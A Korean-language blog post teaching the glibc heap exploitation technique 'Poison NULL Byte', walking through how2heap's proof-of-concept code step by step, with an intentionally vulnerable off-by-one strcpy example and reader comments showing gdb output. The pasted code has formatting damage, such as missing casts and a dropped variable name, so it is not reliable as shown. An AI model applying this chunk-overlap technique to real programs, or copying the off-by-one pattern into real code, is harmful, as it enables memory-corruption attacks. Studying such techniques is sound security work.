1. 시작하기전에...

오늘부터는 how2heap 시리즈에 소개되어 있는 취약점들을 살펴보려고합니다. how2heap은 heap관련 취약점들의 원리를 소스코드와 

주석으로 설명해 놓은 프로젝트입니다.


[참조] https://github.com/shellphish/how2heap


전에 포스팅 했던 HITCON Training의 lab12와 lab14에서 다룬적이 있는 fastbin attack과 unsorted bin attack을 제외한 나머지를 다룰 예정이고,

이번 포스팅과 앞으로 소개 될 취약점들은 아래의 사이트를 참조하려고 합니다.


[참조] https://www.lazenca.net/display/TEC/Heap+Exploitation

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/


2. Poison NULL Byte

Poison NULL Byte는 Off-by-one error에 기본을 둔 heap 관련 취약점입니다.

이 취약점을 간단히 설명하면 이미 할당된 heap을 새로 할당받는 heap공간에 포함시켜 할당받아 새로운 값으로 덮을 수 있는 취약점 입니다.


2.1 조건

 - 공격자에 의해 다음과 같은 Heap 영역을 할당, 해제 할 수 있어야 합니다.

- 0x200 이상의 heap 영역 : 공격 대상 heap영역

- Fast bin 이상의 Heap 영역(Heap size : 0x80이상) : 공격 대상 영역에 할당 Heap 영역


 - 공격자에 의해 Free chunk의 size영역에 1byte를 NULL로 변경 할 수 있어야 합니다.

 - 공격자에 의해 Free chunk의 size보다 작은 heap영역을 2개 할당 할 수 있어야합니다.

- Fast chunk는 사용할 수 없습니다.


[참조] https://www.lazenca.net/display/TEC/Poison+null+byte


2.2 Off-by-one

Poison NULL Byte에 사용되는 Off-by-one에 대해 간단히 알고 넘어가도록 하겠습니다.

Off-by-one error는 버퍼 크기의 경계 검사를 잘 못해서 한 바이트를 더 쓸 수 있게 되는 취약점입니다.


[참조]https://en.wikipedia.org/wiki/Off-by-one_error


예시로 다음의 코드를 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
 
int main(int argc,char *argv[])
{
    char buf[1024];
    
    if(strlen(argv[1]) > 1024) {
        printf("BOF is occured\n");
        return -1;
    }
    
    strcpy(buf, argv[1]);
    printf("buf = %s\n", buf);    
 
    return 0;
}



위 코드에서는 1024바이트 크기를 갖는 buf변수가 존재하고 있습니다. 프로그램에 인자를 넣고 실행하면 인자를 이 buf에 복사하고 출력해줍니다.

단, 인자의 길이가 1024보다 크다면 BOF is occured를 출력하지요. 


언뜻 보기에는 BOF가 발생하지 않을 것으로 보이지만 여기서 Off-by-one 이 발생합니다.

strlen()함수는 문자열 길이를 리턴해 줄 때 NULL바이트를 제외하여 리턴해줍니다. 따라서, 정확히 인자의 크기가 1024만큼의 문자열이 전달 되는 경우

BOF검사 분기를 넘어서 복사과정을 거치는데, 실제 buf에 복사되는 값의 길이는 1024 + NULL이 되어 1025바이트를 쓸 수 있게 됩니다.


이처럼 잘못된 크기 검사로 인해 한 바이트를 더 쓸 수 있게 되는 취약점이 Off-by-one 입니다.

해당 취약점과 관련해 자세하게 설명된 블로그가 있어 아래 참조 링크 드립니다.


[참조] http://s0ngsari.tistory.com/entry/Offbyone



2.3 how2heap - Poison NULL Byte

본격적으로 how2heap에 소개되어 있는 Poison NULL Byte의 코드를 가지고 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1; 
    uint8_t* b2; 
    uint8_t* d;
 
    fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
    a = (uint8_t*malloc(0x100);
    fprintf(stderr, "a: %p\n", a); 
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
 
    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*malloc(0x200);
 
    fprintf(stderr, "b: %p\n", b); 
 
    c = (uint8_t*malloc(0x100);
    fprintf(stderr, "c: %p\n", c); 
 
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 



소스코드가 길어 부분 부분 잘라서 설명하겠습니다.

최초에 변수 a, b, c, b1, b2, d가 선언 되어 있는데 이 변수들은 Poison NULL Byte를 실행하기 위해 필요한 heap 변수들입니다.

각 변수들의 용도는 아래와 같습니다.


변수명 

용도 

Off-by-one을 사용할 수 있게 해줌 

Poison NULL Byte가 이루어지는 공간 

Poison NULL Byte로 인해 병합되는 heap 

Poison NULL Byte의 결과로 할당 받는 heap 

b1 

b해제 후 b공간에서 쪼개져 할당받는 heap 

b2 

b해제 후 b공간에서 쪼개져 할당받는 heap

Poison NULL Byte의 Victim


뒤에 진행되는 사항들을 보면서 헷갈릴 수 있는데 표에 소개된 내용을 생각하시면서 보면 조금 더 수월하게 보실 수 있을 것 같습니다.

위의 코드 내용을 정리해보자면 a에 0x100, b에 0x200, c에 0x100만큼 메모리를 할당 했습니다.


그리고 추가로 살펴봐야할 것은 11, 12라인인데요

malloc_usable_size()함수를 통해 메모리를 할당 받은 a에 실제로 사용할 수 있는 크기를 알아보고 있습니다. 라운딩때문에 0x100보다 클 것이라고 이야기 하면서요.



실제로 확인해 보니 a의 usable size는 0x108인 것을 알 수 있습니다. 


※ 위의 실행 결과로 보여드린 주소와는 다르지만 짧게 예시를 든 주소이니, 신경쓰시지 않아도 됩니다.


위 그림처럼 a는 코드에서 의도한 size보다 8바이트 더 큰 값을 사용할 수 있는 상태가 될 것입니다. 그리고 이 8바이트는 b의 prev_size영역이 됩니다.

여기서 한 바이트를 더 쓴다면 b의 chunk size에 영향을 줄 수 있는 상태가 되겠지요. 일단 여기까지만 생각하시고 다음으로 넘어가 보도록 하겠습니다.


  

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 
 
    fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
        "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0= 0x200;
 
    // this technique works by overwriting the size metadata of a free chunk
    free(b);
    
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
    fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0// <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
 
    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);



여기서부터가 중요한데요, Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 합니다. 그런데 문제가 glibc에서

chunksize(P)가 prev_size(next_chunk(P))가 같은 지를 비교한다고 하네요.


b의 next_chunk의 주소는 어떻게 계산되는 지 살펴보겠습니다.


Poison NULL Byte공격을 고려하지 않았을 때

0x7120(address of b data area) - 0x10(header size) + 0x210(size of b) = 0x7320 (address of c)


c의 주소가 정확히 계산되어 나옵니다. 그리곤 c의 prev_size와 b의 chunk size필드를 비교해서 일치하는 지를 비교한다는 이야기입니다.


Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 한다면 거기에 대응하는 주소공간에 가상으로 prev_size인 것처럼 0x200

써주어야합니다.


0x7120(address of b data area) - 0x10(header size) + 0x200(size of fake b) = 0x7310 (address of fake chunk)

이런 이유로 b의 주소에 0x1f0을 더한 값인 0x7310에 0x200을 써주었습니다.


그 다음에 b를 해제했습니다. 그리고 Off-by-one 취약점을 이용해 a[real_size] => a[0x108]에 한 바이트를 0(NULL)로 써주었습니다.

그럼 b의 chunk size는 0x211 에서 한 바이트가 0으로 바뀌었으니, 0x200으로 바뀌게 됩니다.



c의 prev_size는 건드리지 않았으니, 0x211에서 INUSE flag만 0으로 바뀌어 0x210이 된 모습입니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);
 
    fprintf(stderr, "b1: %p\n",b1);
    fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
        "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
    fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
 
    b2 = malloc(0x80);
    fprintf(stderr, "b2: %p\n",b2);
 
    memset(b2,'B',0x80);
    fprintf(stderr, "Current b2 content:\n%s\n",b2);



위에서 이야기한 chunksize(P)와 prev_size(next_chunk(P))가 같은 지를 검사하는 부분에서 에러 없이 통과를 하였습니다.

이후 새로 b1을 할당 0x100만큼 할당 받았습니다.


b1은 b의 시작부분에서부터 할당을 받았습니다. b1을 할당 받은 후 c의 prev_size를 찍어보면 b1에 해당하는 값으로 업데이트가 이루어져야 하지만 이루어지지 않습니다. 그 대신에 우리가 전에 만들었던 fake chunk의 prev_size가 업데이트 된 것을 알 수 있습니다.



이 상태에서 victim chunk인 b2를 0x80만큼 할당 합니다. 그리고 내용을 b로 채워주었습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
 
free(b1);
free(c);
 
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
= malloc(0x300);
fprintf(stderr, "d: %p\n",d);
 
fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
 
fprintf(stderr, "New b2 content:\n%s\n",b2);



이제 사전 준비는 다 끝났습니다. b1, c의 차례로 free를 하면 b1과 c의 병합이 일어나게 됩니다. 이때, b1과 c1의 사이에 있는 b2의 존재는 잊어버리고 

병합이루어 집니다.


그 이유는 c의 해제가 이루어질 당시 c의 prev_size는 0x210이니, 이전의 메모리가 사용되고 있지 않은 중으로 OS가 판단합니다.(INUSE flag == 0)

때문에 이전의 chunk (prev chunk)와 병합이루어 지게 되죠.

 

c의 prev chunk의 주소를 알아내는 방법은 아래와 같습니다.


0x7320(address of c) - 0x210(prev_size) = 0x7110 


0x7110 부터 c에 해당하는 chunk까지 모두 병합이 이루어지게 되는 것입니다. (이 사이에 b2가 존재하죠)

이렇게 병합된 chunk는 0x300의 메모리 할당 요청에 반환됩니다. 이로써 b2의 내용을 수정할 수 있게 된 것입니다.




소개 된 예제에서는 단순히 변수의 값을 바꾸는 것만으로 소개가 되었는데, b2의 공간이 구조체이고 그 안에 함수포인터가 저장되어있다는 가정이라면

더 멋진 결과도 나올 수 있을 것이라고 생각합니다.


  1. Wooum@n 2019.11.03 11:01 신고

    64bit 우분투에서는 적용이 안되나요?

    예제 만들어서 확인해보고 있는데요.

    청크 두개 만들어서
    앞의 청크를 free했는데
    뒤의 청크의 prev_size 위치에 값이 안바뀌네요.

    gdb로 확인한 모습입니다

    EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    0x555555555202 <main+157>: mov rax,QWORD PTR [rbp-0x10]
    0x555555555206 <main+161>: mov rdi,rax
    0x555555555209 <main+164>: call 0x555555555030 <free@plt>
    => 0x55555555520e <main+169>: mov rax,QWORD PTR [rbp-0x8]
    0x555555555212 <main+173>: sub rax,0x40
    0x555555555216 <main+177>: mov eax,DWORD PTR [rax]
    0x555555555218 <main+179>: mov esi,eax
    0x55555555521a <main+181>: lea rdi,[rip+0xdf3] # 0x555555556014
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffe350 --> 0x555555559260 --> 0x0
    0008| 0x7fffffffe358 --> 0x555555559470 ('a' <repeats 80 times>)
    0016| 0x7fffffffe360 --> 0x555555555240 (<__libc_csu_init>: push r15)
    0024| 0x7fffffffe368 --> 0x7ffff7def09b (<__libc_start_main+235>: mov edi,eax)
    0032| 0x7fffffffe370 --> 0x0
    0040| 0x7fffffffe378 --> 0x7fffffffe448 --> 0x7fffffffe6b8 ("/work/pico2019/Ghost_Diary/poc")
    0048| 0x7fffffffe380 --> 0x100040000
    0056| 0x7fffffffe388 --> 0x555555555165 (<main>: push rbp)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x000055555555520e in main ()
    gdb-peda$ x/50wx $1-0x10
    0x555555559250: 0x00000000 0x00000000 0x00000211 0x00000000
    0x555555559260: 0x00000000 0x00000000 0x62626262 0x62626262
    0x555555559270: 0x62626262 0x62626262 0x62626262 0x62626262
    0x555555559280: 0x62626262 0x62626262 0x62626262 0x62626262
    0x555555559290: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592a0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592b0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592c0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592d0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592e0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592f0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x555555559300: 0x62626262 0x62626262 0x62626262 0x62626262
    0x555555559310: 0x62626262 0x62626262
    gdb-peda$ x/50wx $1+0x200
    0x555555559460: 0x00000000 0x00000000 0x00000061 0x00000000
    0x555555559470: 0x61616161 0x61616161 0x61616161 0x61616161
    0x555555559480: 0x61616161 0x61616161 0x61616161 0x61616161
    0x555555559490: 0x61616161 0x61616161 0x61616161 0x61616161
    0x5555555594a0: 0x61616161 0x61616161 0x61616161 0x61616161
    0x5555555594b0: 0x61616161 0x61616161 0x61616161 0x61616161
    0x5555555594c0: 0x00000000 0x00000000 0x00000411 0x00000000
    0x5555555594d0: 0x3a3a3161 0x6572703a 0x69735f76 0x3a20657a
    0x5555555594e0: 0x36323620 0x36323632 0x00000a32 0x00000000
    0x5555555594f0: 0x00000000 0x00000000 0x00000000 0x00000000
    0x555555559500: 0x00000000 0x00000000 0x00000000 0x00000000
    0x555555559510: 0x00000000 0x00000000 0x00000000 0x00000000
    0x555555559520: 0x00000000 0x00000000


    61로 채워진게 이전청크고

    62로 채워진게 다음 청크입니다.

    peda의 eip 위치 보면 free가 실행된 직후입니다만

    62로 채워진 청크의 prev_size 위치에 값의 변화가 없네요.

    왜이럴까요

  2. Wooum@n 2019.11.03 11:02 신고

    이건 소스코드 입니다.

    #include <stdio.h>
    #include <malloc.h>
    #include <string.h>

    int main()
    {
    int* b1 = (int*)malloc(0x200);
    int* a1 = (int*)malloc(0x50);
    memset(b1, 'b', 0x200);
    memset(a1, 'a', 0x50);


    //할당된 주소 확인
    printf("b1: %p\n", b1);
    printf("a1: %p\n", a1);


    free(b1);



    return 1;
    }

+ Recent posts